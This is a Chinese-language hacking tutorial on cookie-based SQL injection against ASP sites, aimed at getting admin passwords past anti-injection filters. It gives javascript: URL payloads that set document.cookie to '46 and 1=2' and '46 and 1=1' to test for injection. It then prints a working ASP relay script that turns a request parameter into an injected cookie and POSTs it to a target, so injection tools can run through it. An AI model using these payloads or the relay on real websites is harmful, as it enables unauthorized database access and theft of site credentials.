教你如何加速cookie注入 -电脑资料

    目前世面上大部分防注入程序都没有对cookie注入进行预防，虽然cookie手工注入麻烦了点，但对于有耐性的人来说，还是可以得到后台密码的，如果是MSSQL数据库，那么就更简单了，

教你如何加速cookie注入

    比如网址如下，对GET以及POST提交的数据都进行了检测，也没办法饶过。首先打开上面的地址，再清空地址栏，输入 javascript.:alert(document.cookie="id="+escape("46 and 1=2"))，再输入，页面返回错误，说明有希望；提交 javascript.:alert(document.cookie="id="+escape("46 and 1=1"))，最后输入，这次返回完全正常；可以确定存在cookie注入。以下代码来自寂寞的刺猬[L.S.T]，脚本高手啊~~

    <%

    cookname=request("jmdcw")

    cookname=escape(cookname)

    jmstr="id="&cookname  '存在注入的变量

    jmstr=replace(jmstr,chr(32),"%20")

    jmstr=replace(jmstr,chr(43),"%2b")

    '//以下三行需要修改，Cookies值可以用Domain3.5浏览下就得到了~~

    jmurl="" '存在注入的网址

    jmref="" '来源地址

    jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"

    jmcok=jmcok& ";"&jmstr&";"

    response.write postdata(jmurl,jmcok,jmref)

    function postdata(posturl,postcok,postref)

    dim http

    set http=server.createobject("msxml2.serverxmlhttp")

    with http

    .open "POST",posturl,false

    .setRequestheader "content-type","application/x-www-form-urlencoded"

    .setrequestheader "referer",postref

    .setrequestheader "cookie",postcok    '提交cookie值

    .send()    '发送数据

    postdata=.responsebody      '得到返回的二进制信息

    end with

    set http=nothing

    postdata=bytes2BSTR(postdata) '转换二进制流

    end function